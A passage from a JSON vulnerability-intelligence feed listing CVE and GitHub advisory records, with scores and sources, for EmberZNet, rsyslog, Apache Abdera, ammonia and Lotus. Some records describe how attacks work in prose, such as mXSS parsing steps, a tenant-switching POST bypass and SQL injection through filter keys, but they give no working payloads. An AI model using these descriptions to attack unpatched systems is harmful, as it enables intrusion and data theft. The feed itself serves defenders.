record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114510&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114510, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94502","cveId":"CVE-2026-94502","aliases":[],"kind":"vulnerability","title":"In EmberZNet 9.1.1 and earlier, a malformed Publish Price Matrix command can result in an out-of-bounds write potentially leading to remote code execution.","summary":"In EmberZNet 9.1.1 and earlier, a malformed Publish Price Matrix command can result in an out-of-bounds write potentially leading to remote code execution. These messages must come from a device that has already joined the network. Only devices supporting the Price Cluster are impacted.","detail":"In EmberZNet 9.1.1 and earlier, a malformed Publish Price Matrix command can result in an out-of-bounds write potentially leading to remote code execution. These messages must come from a device that has already joined the network. Only devices supporting the Price Cluster are impacted.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T14:17:51.640Z","updatedAt":"2026-10-23T12:18:19.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94502","asOf":"2026-10-23T12:18:19.933Z"},"epss":{"probability":0.00305,"percentile":0.23025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94502&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94502","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94502","type":"primary","publishedAt":"2026-10-22T14:17:51.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94502&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94502, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92709","cveId":"CVE-2026-92709","aliases":[],"kind":"vulnerability","title":"Rsyslog is a rocket-fast system for log processing.","summary":"Rsyslog is a rocket-fast system for log processing. From versions 1.15.0 to 8.2610.0, rsyslog's omfile dynaFile facility intentionally allows templates to generate flexible output paths. This supports valid deployments that route logs into different directories or use dynamically generated file names. A deployment becomes unsafe when a dynaFile template uses a value influenced by untrusted input as a path component without explicit secure-path handling. In that configuration, the rendered path can escape the operator's intended log directory. This is not limited to the RFC5424 HOSTNAME field. Any untrusted value that reaches a dynaFile path component can create the condition. At time of publication, there are no publicly available patches.","detail":"Rsyslog is a rocket-fast system for log processing. From versions 1.15.0 to 8.2610.0, rsyslog's omfile dynaFile facility intentionally allows templates to generate flexible output paths. This supports valid deployments that route logs into different directories or use dynamically generated file names. A deployment becomes unsafe when a dynaFile template uses a value influenced by untrusted input as a path component without explicit secure-path handling. In that configuration, the rendered path can escape the operator's intended log directory. This is not limited to the RFC5424 HOSTNAME field. Any untrusted value that reaches a dynaFile path component can create the condition. At time of publication, there are no publicly available patches.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T14:17:51.473Z","updatedAt":"2026-10-22T17:29:28.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92709","asOf":"2026-10-22T17:29:28.470Z"},"epss":{"probability":0.00296,"percentile":0.22071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92709","type":"primary","publishedAt":"2026-10-22T14:17:51.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85079","cveId":"CVE-2026-85079","aliases":[],"kind":"vulnerability","title":"In EmberZNet 9.1.1 and earlier, a malformed Simple_Desc_req response can result in an out-of-bounds write potentially leading to remote code execution.","summary":"In EmberZNet 9.1.1 and earlier, a malformed Simple_Desc_req response can result in an out-of-bounds write potentially leading to remote code execution. This response must come from a device that has already joined the network, and the attacker must wait for a Simple_Desc_req before the attack can be performed.","detail":"In EmberZNet 9.1.1 and earlier, a malformed Simple_Desc_req response can result in an out-of-bounds write potentially leading to remote code execution. This response must come from a device that has already joined the network, and the attacker must wait for a Simple_Desc_req before the attack can be performed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T14:17:50.877Z","updatedAt":"2026-10-22T19:18:02.927Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85079","asOf":"2026-10-22T19:18:02.927Z"},"epss":{"probability":0.00305,"percentile":0.23025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85079","type":"primary","publishedAt":"2026-10-22T14:17:50.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85079, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-66279","cveId":"CVE-2026-66279","aliases":[],"kind":"vulnerability","title":"In Connect SDK 4.3.1 and earlier and Flex SDK 3.7.7 and earlier, a message with invalid security settings may bypass authentication resulting in network disruption.","summary":"In Connect SDK 4.3.1 and earlier and Flex SDK 3.7.7 and earlier, a message with invalid security settings may bypass authentication resulting in network disruption. This vulnerability does not allow an attacker to gain the Network Key or otherwise break confidentiality.","detail":"In Connect SDK 4.3.1 and earlier and Flex SDK 3.7.7 and earlier, a message with invalid security settings may bypass authentication resulting in network disruption. This vulnerability does not allow an attacker to gain the Network Key or otherwise break confidentiality.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T14:17:43.840Z","updatedAt":"2026-10-23T12:18:15.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-66279","asOf":"2026-10-23T12:18:15.660Z"},"epss":{"probability":0.00245,"percentile":0.15618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-66279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-66279","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-66279","type":"primary","publishedAt":"2026-10-22T14:17:43.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-66279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-66279, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113582","cveId":"CVE-2026-113582","aliases":[],"kind":"vulnerability","title":"UNSUPPORTED WHEN ASSIGNED Improper restriction of XML external entity references in Apache Abdera allows an attacker to access sensitive data or make server-side requests when an...","summary":"UNSUPPORTED WHEN ASSIGNED Improper restriction of XML external entity references in Apache Abdera allows an attacker to access sensitive data or make server-side requests when an application parses attacker-controlled XML with Abdera.\n\n\n\nThis issue affects Apache Abdera: all versions.\n\n\n\nApache Abdera is retired and no longer supported, so we do not plan to release a version that fixes this issue. Users are recommended to migrate to a maintained alternative. Applications that cannot migrate should ensure that untrusted XML cannot reach the affected Abdera parser or JDBC adapter parsing paths. Actively maintained downstream products may still be impacted if they include an affected Abdera artifact.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.","detail":"UNSUPPORTED WHEN ASSIGNED Improper restriction of XML external entity references in Apache Abdera allows an attacker to access sensitive data or make server-side requests when an application parses attacker-controlled XML with Abdera.\n\n\n\nThis issue affects Apache Abdera: all versions.\n\n\n\nApache Abdera is retired and no longer supported, so we do not plan to release a version that fixes this issue. Users are recommended to migrate to a maintained alternative. Applications that cannot migrate should ensure that untrusted XML cannot reach the affected Abdera parser or JDBC adapter parsing paths. Actively maintained downstream products may still be impacted if they include an affected Abdera artifact.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T14:17:38.053Z","updatedAt":"2026-10-22T21:17:16.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113582","asOf":"2026-10-22T21:17:16.380Z"},"epss":{"probability":0.00463,"percentile":0.39837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113582&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113582","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113582","type":"primary","publishedAt":"2026-10-22T14:17:38.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113582&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113582, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63430","cveId":"CVE-2026-63430","aliases":["GHSA-9jh8-v38h-cvhr"],"kind":"vulnerability","title":"ammonia: mXSS  via MathML `annotation-xml` encoding strip","summary":"If a certain set of MathML tags are enabled, an attacker can inject arbitrary JavaScript code into the user's browser.\n\nThe `annotation-xml` tag has slightly different behavior than the other \"integration point\"\ntags in MathML and SVG, but ammonia didn't handle it, so it didn't correctly\nstrip the namespace-incompatible tags.","detail":"If a certain set of MathML tags are enabled, an attacker can inject arbitrary JavaScript code into the user's browser.\n\nThe `annotation-xml` tag has slightly different behavior than the other \"integration point\"\ntags in MathML and SVG, but ammonia didn't handle it, so it didn't correctly\nstrip the namespace-incompatible tags.\n\nThis vulnerability only has an effect when the `math` and `annotation-xml` tags\nare both enabled, but the `encoding` attribute is disabled, because it relies\non the following sequence of steps:\n\n1. User writes code like ` `.\n2. Namespace filtering checks the DOM, and it passes. ` ` is parsed as HTML.\n3. Attribute filter strips it down to ` `. Because the encoding attribute is gone, ` ` is now parsed as MathML.\n4. The gadget is written in such a way that it exploits the parsing differences between HTML and MathML.\n\nAdditionally, the gadget can only be written using a tag that is parsed as raw text in HTML.\nThese [elements] are:\n\n* title\n* textarea\n* xmp\n* iframe\n* noembed\n* noframes\n* plaintext\n* noscript\n* style\n* script\n\nApplications that do not explicitly allow any of these tags should not be affected, since none are allowed by default.\n\n[elements]: https://github.com/servo/html5ever/blob/045a0378f2b0f8d4a350793899cf722a2a9b3d11/html5ever/src/tree_builder/rules.rs\n\n### Impact\n\nLow: Requires both MathML and at least one raw-text HTML tag to be enabled, and most websites don't enable either of those.\n\n### Patches\n\n- https://github.com/rust-ammonia/ammonia/pull/245 (released in 4.1.3)\n- https://github.com/rust-ammonia/ammonia/pull/244 (released in 4.0.2)\n- https://github.com/rust-ammonia/ammonia/pull/243 (released in 3.3.2)\n\n### Workarounds\n\nCall builder.[add_clean_content_tags](https://docs.rs/ammonia/latest/ammonia/struct.Builder.html#method.add_clean_content_tags)(\"annotation-xml\") to remove the annotation-xml element and all of its children, including the XSS gadget.\n\nAffected package ranges reported by GitHub:\nammonia: < 3.3.2\nammonia: >= 4.0.0, < 4.0.2\nammonia: >= 4.1.0, < 4.1.3","action":"GitHub lists first patched versions: ammonia: 3.3.2; ammonia: 4.0.2; ammonia: 4.1.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T14:06:10.000Z","updatedAt":"2026-10-22T14:06:14.000Z","regions":["Global"],"vendor":null,"product":"ammonia, ammonia, ammonia","stacks":["Rust crates","ammonia","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9jh8-v38h-cvhr","asOf":"2026-10-22T14:06:14.000Z"},"epss":{"probability":0.00555,"percentile":0.46023,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63430&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9jh8-v38h-cvhr","url":"https://github.com/advisories/GHSA-9jh8-v38h-cvhr","type":"primary","publishedAt":"2026-10-22T14:06:10.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9jh8-v38h-cvhr, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63430&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63430, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115334","cveId":"CVE-2026-115334","aliases":[],"kind":"vulnerability","title":"Lotus through 0.10.2 contains an authorization bypass vulnerability in ChangeUserOrganizationView.post that allows authenticated users to join any organization by supplying its...","summary":"Lotus through 0.10.2 contains an authorization bypass vulnerability in ChangeUserOrganizationView.post that allows authenticated users to join any organization by supplying its UUID. Self-registered attackers who know another organization's UUID can send a POST request to /app/switch_organization/ to access that tenant's data and billing configuration.","detail":"Lotus through 0.10.2 contains an authorization bypass vulnerability in ChangeUserOrganizationView.post that allows authenticated users to join any organization by supplying its UUID. Self-registered attackers who know another organization's UUID can send a POST request to /app/switch_organization/ to access that tenant's data and billing configuration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:52.703Z","updatedAt":"2026-10-22T16:53:20.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115334","asOf":"2026-10-22T16:53:20.563Z"},"epss":{"probability":0.00236,"percentile":0.14444,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115334","type":"primary","publishedAt":"2026-10-22T11:17:52.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115333","cveId":"CVE-2026-115333","aliases":[],"kind":"vulnerability","title":"Lotus through 0.10.2 contains an improper authentication vulnerability in the Go event ingestion middleware that validates API keys by prefix only, without checking the secret...","summary":"Lotus through 0.10.2 contains an improper authentication vulnerability in the Go event ingestion middleware that validates API keys by prefix only, without checking the secret against the stored hashed_key. Attackers who know or obtain an API key prefix can submit usage events to POST /api/track/ as that organization, altering its metered usage and billing.","detail":"Lotus through 0.10.2 contains an improper authentication vulnerability in the Go event ingestion middleware that validates API keys by prefix only, without checking the secret against the stored hashed_key. Attackers who know or obtain an API key prefix can submit usage events to POST /api/track/ as that organization, altering its metered usage and billing.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:52.563Z","updatedAt":"2026-10-23T15:17:28.193Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115333","asOf":"2026-10-23T15:17:28.193Z"},"epss":{"probability":0.00362,"percentile":0.29712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115333","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115333","type":"primary","publishedAt":"2026-10-22T11:17:52.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115332","cveId":"CVE-2026-115332","aliases":[],"kind":"vulnerability","title":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by registering crafted subscription_filter_keys that bypass...","summary":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by registering crafted subscription_filter_keys that bypass keyword-only validation. Attackers can create subscriptions using the malicious key, which is rendered as an unquoted group-by identifier, to inject SQL into usage aggregation queries against the shared multi-tenant database.","detail":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by registering crafted subscription_filter_keys that bypass keyword-only validation. Attackers can create subscriptions using the malicious key, which is rendered as an unquoted group-by identifier, to inject SQL into usage aggregation queries against the shared multi-tenant database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 